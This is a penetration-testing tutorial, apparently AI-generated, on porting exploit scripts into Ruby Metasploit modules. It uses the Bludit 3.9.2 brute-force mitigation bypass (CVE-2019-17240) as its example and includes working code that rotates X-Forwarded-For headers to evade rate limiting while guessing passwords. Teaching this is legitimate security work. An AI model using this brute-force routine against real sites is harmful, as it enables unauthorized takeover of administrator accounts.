π§ Porting Scripts into Metasploit Modules
π Goal
Convert non-Metasploit exploit scripts (like Python or PHP) into proper Metasploit modules using Ruby.
π Metasploit modules are written in Ruby and use hard tabs. Familiarity with Ruby and the Metasploit module architecture is essential.
π Organization Tips
Reuse boilerplate from similar existing modules
Keep your custom modules neatly stored and organized
Use proper snake_case naming conventions for filenames (e.g.,
bludit_auth_bypass.rb
)
π¦ Example: Porting Bludit Exploit
π Existing Related Exploits
Check for already existing modules to reuse structure:
$ ls /usr/share/metasploit-framework/modules/exploits/linux/http/ | grep bludit
bludit_upload_images_exec.rb
Weβll repurpose this file's structure for our own module.
π― Target Script:
Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass
π₯ Download the original .rb
script (e.g., 48746.rb
from ExploitDB), then:
$ cp ~/Downloads/48746.rb /usr/share/metasploit-framework/modules/exploits/linux/http/bludit_auth_bruteforce_mitigation_bypass.rb
π§ Understanding Metasploit Mixins
Mixins are modules that bring in functionality to Metasploit modules. These are declared at the top using include
.
Msf::Exploit::Remote::HttpClient
Enables HTTP interactions
Msf::Exploit::PhpEXE
Used to deliver PHP payloads
Msf::Auxiliary::Report
Used for reporting data to MSF DB
Msf::Exploit::FileDropper
β
Not required for this exploit
π§ Reference: Rapid7 RubyDoc Metasploit Modules
π οΈ Module Structure
π Metadata
'Name' => "Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass",
'Description' => %q{
Bludit CMS β€ 3.9.2 has a flaw in its anti-brute force logic. By manipulating the
'X-Forwarded-For' header, attackers can bypass rate-limiting protections.
},
'Author' => [
'rastating', # Original discovery
'0ne-nine9' # MSF Module Author
],
'References' => [
['CVE', '2019-17240'],
['URL', 'https://rastating.github.io/bludit-brute-force-mitigation-bypass/'],
['PATCH', 'https://github.com/bludit/bludit/pull/1090']
],
βοΈ Module Options
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
OptPath.new('PASSWORDS', [true, 'The list of passwords',
File.join(Msf::Config.data_directory, "wordlists", "passwords.txt")])
])
π§ͺ Exploit Logic Snippet
def get_csrf(client, login_url)
res = client.get(login_url)
csrf_token = /input.+?name="tokenCSRF".+?value="(.+?)"/.match(res.body).captures[0]
end
def auth_ok?(res)
HTTP::Status.redirect?(res.code) &&
%r{/admin/dashboard}.match?(res.headers['Location'])
end
def bruteforce_auth(client, host, username, wordlist)
login_url = host + '/admin/login'
File.foreach(wordlist).with_index do |password, i|
csrf_token = get_csrf(client, login_url)
headers = { 'X-Forwarded-For' => "#{i}-#{password[..4]}" }
data = {
'tokenCSRF' => csrf_token,
'username' => username,
'password' => password
}
puts "[*] Trying password: #{password.chomp}"
auth_res = client.post(login_url, data, headers)
if auth_ok?(auth_res)
puts "\n[+] Password found: #{password}"
break
end
end
end
π Learn More
π Metasploit: A Penetration Testerβs Guide β Highly recommended book
π Rapid7 Metasploit Blog β Guides and tutorials from the creators
Let me know if you want this saved as a Markdown file, or if you want help writing a custom module from scratch!
Last updated